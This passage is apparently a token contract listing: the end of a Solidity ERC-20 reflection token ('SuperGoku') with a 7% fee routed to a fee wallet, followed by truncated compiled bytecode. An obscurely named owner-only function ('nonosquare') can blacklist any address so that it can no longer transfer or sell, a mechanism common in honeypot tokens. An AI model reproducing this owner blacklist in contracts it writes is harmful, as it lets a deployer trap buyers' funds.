totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 7; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 7; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = _tTotal.mul(2).div(100); _maxWalletSize = _tTotal.mul(3).div(100); tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612e29565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c9190612930565b6104b4565b60405161018e9190612e0e565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b99190612fcb565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e49190612970565b6104e2565b005b3480156101f757600080fd5b50610212600480360381019061020d91906128dd565b61060c565b60405161021f9190612e0e565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612843565b6106e5565b005b34801561025d57600080fd5b506102666107d5565b6040516102739190613040565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e91906129b9565b6107de565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612a13565b610890565b005b3480156102da57600080fd5b506102e3610969565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612843565b6109db565b6040516103199190612fcb565b60405180910390f35b34801561032e57600080fd5b50610337610a2c565b005b34801561034557600080fd5b5061034e610b7f565b005b34801561035c57600080fd5b50610365610c34565b6040516103729190612d40565b60405180910390f35b34801561038757600080fd5b50610390610c5d565b60405161039d9190612e29565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c89190612930565b610c9a565b6040516103da9190612e0e565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612a13565b610cb8565b005b34801561041857600080fd5b50610421610d91565b005b34801561042f57600080fd5b50610438610e0b565b005b34801561044657600080fd5b50610461600480360381019061045c919061289d565b6113c1565b60405161046e9190612fcb565b60405180910390f35b60606040518060400160405280600981526020017f5375706572476f6b750000000000000000000000000000000000000000000000815250905090565b60006104c86104c1611448565b8484611450565b6001905092915050565b600067016345785d8a0000905090565b6104ea611448565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056e90612f0b565b60405180910390fd5b60005b81518110156106085760016006600084848151811061059c5761059b613388565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610600906132e1565b91505061057a565b5050565b600061061984848461161b565b6106da84610625611448565b6106d58560405180606001604052806028815260200161374760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068b611448565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cae9092919063ffffffff16565b611450565b600190509392505050565b6106ed611448565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077190612f0b565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e6611448565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610873576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086a90612f0b565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b610898611448565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610925576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091c90612f0b565b60405180910390fd5b6000811161093257600080fd5b61096060646109528367016345785d8a0000611d1290919063ffffffff16565b611d8d90919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109aa611448565b73ffffffffffffffffffffffffffffffffffffffff16146109ca57600080fd5b60004790506109d881611dd7565b50565b6000610a25600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e43565b9050919050565b610a34611448565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab890612f0b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b87611448565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0b90612f0b565b60405180910390fd5b67016345785d8a0000600f8190555067016345785d8a0000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f5375706572476f6b750000000000000000000000000000000000000000000000815250905090565b6000610cae610ca7611448565b848461161b565b6001905092915050565b610cc0611448565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4490612f0b565b60405180910390fd5b60008111610d5a57600080fd5b610d886064610d7a8367016345785d8a0000611d1290919063ffffffff16565b611d8d90919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd2611448565b73ffffffffffffffffffffffffffffffffffffffff1614610df257600080fd5b6000610dfd306109db565b9050610e0881611eb1565b50565b610e13611448565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9790612f0b565b60405180910390fd5b600e60149054906101000a900460ff1615610ef0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee790612fab565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f7f30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1667016345785d8a0000611450565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610fc557600080fd5b505afa158015610fd9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ffd9190612870565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561105f57600080fd5b505afa158015611073573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110979190612870565b6040518363ffffffff1660e01b81526004016110b4929190612d5b565b602060405180830381600087803b1580156110ce57600080fd5b505af11580156110e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111069190612870565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061118f306109db565b60008061119a610c34565b426040518863ffffffff1660e01b81526004016111bc96959493929190612dad565b6060604051808303818588803b1580156111d557600080fd5b505af11580156111e9573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061120e9190612a40565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff0219169083151502179055506112766064611268600267016345785d8a0000611d1290919063ffffffff16565b611d8d90919063ffffffff16565b600f819055506112ab606461129d600367016345785d8a0000611d1290919063ffffffff16565b611d8d90919063ffffffff16565b6010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161136b929190612d84565b602060405180830381600087803b15801561138557600080fd5b505af1158015611399573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bd91906129e6565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b790612f8b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611530576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152790612eab565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161160e9190612fcb565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561168b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168290612f4b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f290612e4b565b60405180910390fd5b6000811161173e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173590612f2b565b60405180910390fd5b6000600a819055506007600b81905550611756610c34565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117c45750611794610c34565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c9e57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561186d5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61187657600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119215750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119775750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561198f5750600e60179054906101000a900460ff165b15611acd57600f548111156119d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119d090612e6b565b60405180910390fd5b601054816119e6846109db565b6119f09190613101565b1115611a31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2890612f6b565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a7c57600080fd5b601e42611a899190613101565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611b785750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611bce5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611be4576000600a819055506007600b819055505b6000611bef306109db565b9050600e60159054906101000a900460ff16158015611c5c5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c745750600e60169054906101000a900460ff165b15611c9c57611c8281611eb1565b60004790506000811115611c9a57611c9947611dd7565b5b505b505b611ca9838383612139565b505050565b6000838311158290611cf6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ced9190612e29565b60405180910390fd5b5060008385611d0591906131e2565b9050809150509392505050565b600080831415611d255760009050611d87565b60008284611d339190613188565b9050828482611d429190613157565b14611d82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7990612eeb565b60405180910390fd5b809150505b92915050565b6000611dcf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612149565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611e3f573d6000803e3d6000fd5b5050565b6000600854821115611e8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8190612e8b565b60405180910390fd5b6000611e946121ac565b9050611ea98184611d8d90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ee957611ee86133b7565b5b604051908082528060200260200182016040528015611f175781602001602082028036833780820191505090505b5090503081600081518110611f2f57611f2e613388565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611fd157600080fd5b505afa158015611fe5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120099190612870565b8160018151811061201d5761201c613388565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061208430600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611450565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120e8959493929190612fe6565b600060405180830381600087803b15801561210257600080fd5b505af1158015612116573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b6121448383836121d7565b505050565b60008083118290612190576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121879190612e29565b60405180910390fd5b506000838561219f9190613157565b9050809150509392505050565b60008060006121b96123a2565b915091506121d08183611d8d90919063ffffffff16565b9250505090565b6000806000806000806121e987612401565b95509550955095509550955061224786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122dc85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232881612511565b61233284836125ce565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161238f9190612fcb565b60405180910390a3505050505050505050565b60008060006008549050600067016345785d8a000090506123d667016345785d8a0000600854611d8d90919063ffffffff16565b8210156123f45760085467016345785d8a00009350935050506123fd565b81819350935050505b9091565b600080600080600080600080600061241e8a600a54600b54612608565b925092509250600061242e6121ac565b905060008060006124418e87878761269e565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124ab83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611cae565b905092915050565b60008082846124c29190613101565b905083811015612507576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124fe90612ecb565b60405180910390fd5b8091505092915050565b600061251b6121ac565b905060006125328284611d1290919063ffffffff16565b905061258681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125e38260085461246990919063ffffffff16565b6008819055506125fe816009546124b390919063ffffffff16565b6009819055505050565b6000806000806126346064612626888a611d1290919063ffffffff16565b611d8d90919063ffffffff16565b9050600061265e6064612650888b611d1290919063ffffffff16565b611d8d90919063ffffffff16565b9050600061268782612679858c61246990919063ffffffff16565b61246990919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126b78589611d1290919063ffffffff16565b905060006126ce8689611d1290919063ffffffff16565b905060006126e58789611d1290919063ffffffff16565b9050600061270e82612700858761246990919063ffffffff16565b61246990919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061273a61273584613080565b61305b565b9050808382526020820190508285602086028201111561275d5761275c6133eb565b5b60005b8581101561278d57816127738882612797565b845260208401935060208301925050600181019050612760565b5050509392505050565b6000813590506127a681613701565b92915050565b6000815190506127bb81613701565b92915050565b600082601f8301126127d6576127d56133e6565b5b81356127e6848260208601612727565b91505092915050565b6000813590506127fe81613718565b92915050565b60008151905061281381613718565b92915050565b6000813590506128288161372f565b92915050565b60008151905061283d8161372f565b92915050565b600060208284031215612859576128586133f5565b5b600061286784828501612797565b91505092915050565b600060208284031215612886576128856133f5565b5b6000612894848285016127ac565b91505092915050565b600080604083850312156128b4576128b36133f5565b5b60006128c285828601612797565b92505060206128d385828601612797565b9150509250929050565b6000806000606084860312156128f6576128f56133f5565b5b600061290486828701612797565b935050602061291586828701612797565b925050604061292686828701612819565b9150509250925092565b60008060408385031215612947576129466133f5565b5b600061295585828601612797565b925050602061296685828601612819565b9150509250929050565b600060208284031215612986576129856133f5565b5b600082013567ffffffffffffffff8111156129a4576129a36133f0565b5b6129b0848285016127c1565b91505092915050565b6000602082840312156129cf576129ce6133f5565b5b60006129dd848285016127ef565b91505092915050565b6000602082840312156129fc576129fb6133f5565b5b6000612a0a84828501612804565b91505092915050565b600060208284031215612a2957612a286133f5565b5b6000612a3784828501612819565b91505092915050565b600080600060608486031215612a5957612a586133f5565b5b6000612a678682870161282e565b9350506020612a788682870161282e565b9250506040612a898682870161282e565b9150509250925092565b6000612a9f8383612aab565b60208301905092915050565b612ab481613216565b82525050565b612ac381613216565b82525050565b6000612ad4826130bc565b612ade81856130df565b9350612ae9836130ac565b8060005b83811015612b1a578151612b018882612a93565b9750612b0c836130d2565b925050600181019050612aed565b5085935050505092915050565b612b3081613228565b82525050565b612b3f8161326b565b82525050565b6000612b50826130c7565b612b5a81856130f0565b9350612b6a81856020860161327d565b612b73816133fa565b840191505092915050565b6000612b8b6023836130f0565b9150612b968261340b565b604082019050919050565b6000612bae6019836130f0565b9150612bb98261345a565b602082019050919050565b6000612bd1602a836130f0565b9150612bdc82613483565b604082019050919050565b6000612bf46022836130f0565b9150612bff826134d2565b604082019050919050565b6000612c17601b836130f0565b9150612c2282613521565b602082019050919050565b6000612c3a6021836130f0565b9150612c458261354a565b604082019050919050565b6000612c5d6020836130f0565b9150612c6882613599565b602082019050919050565b6000612c806029836130f0565b9150612c8b826135c2565b604082019050919050565b6000612ca36025836130f0565b9150612cae82613611565b604082019050919050565b6000612cc6601a836130f0565b9150612cd182613660565b602082019050919050565b6000612ce96024836130f0565b9150612cf482613689565b604082019050919050565b6000612d0c6017836130f0565b9150612d17826136d8565b602082019050919050565b612d2b81613254565b82525050565b612d3a8161325e565b82525050565b6000602082019050612d556000830184612aba565b92915050565b6000604082019050612d706000830185612aba565b612d7d6020830184612aba565b9392505050565b6000604082019050612d996000830185612aba565b612da66020830184612d22565b9392505050565b600060c082019050612dc26000830189612aba565b612dcf6020830188612d22565b612ddc6040830187612b36565b612de96060830186612b36565b612df66080830185612aba565b612e0360a0830184612d22565b979650505050505050565b6000602082019050612e236000830184612b27565b92915050565b60006020820190508181036000830152612e438184612b45565b905092915050565b60006020820190508181036000830152612e6481612b7e565b9050919050565b60006020820190508181036000830152612e8481612ba1565b9050919050565b60006020820190508181036000830152612ea481612bc4565b9050919050565b60006020820190508181036000830152612ec481612be7565b9050919050565b60006020820190508181036000830152612ee481612c0a565b9050919050565b60006020820190508181036000830152612f0481612c2d565b9050919050565b60006020820190508181036000830152612f2481612c50565b9050919050565b60006020820190508181036000830152612f4481612c73565b9050919050565b60006020820190508181036000830152612f6481612c96565b9050919050565b60006020820190508181036000830152612f8481612cb9565b9050919050565b60006020820190508181036000830152612fa481612cdc565b9050919050565b60006020820190508181036000830152612fc481612cff565b9050919050565b6000602082019050612fe06000830184612d22565b92915050565b600060a082019050612ffb6000830188612d22565b6130086020830187612b36565b818103604083015261301a8186612ac9565b90506130296060830185612aba565b6130366080830184612d22565b9695505050505050565b60006020820190506130556000830184612d31565b92915050565b6000613065613076565b905061307182826132b0565b919050565b6000604051905090565b600067ffffffffffffffff82111561309b5761309a6133b7565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061310c82613254565b915061311783613254565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561314c5761314b61332a565b5b828201905092915050565b600061316282613254565b915061316d83613254565b92508261317d5761317c613359565b5b828204905092915050565b600061319382613254565b915061319e83613254565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131d7576131d661332a565b5b828202905092915050565b60006131ed82613254565b91506131f883613254565b92508282101561320b5761320a61332a565b5b828203905092915050565b600061322182613234565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061327682613254565b9050919050565b60005b8381101561329b578082015181840152602081019050613280565b838111156132aa576000848401525b50505050565b6132b9826133fa565b810181811067ffffffffffffffff821117156132d8576132d76133b7565b5b80604052505050565b60006132ec82613254565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561331f5761331e61332a565b5b600182019050919050565b7f4e487b710000000000000000000000000000000000000000000000000000000060005260116004526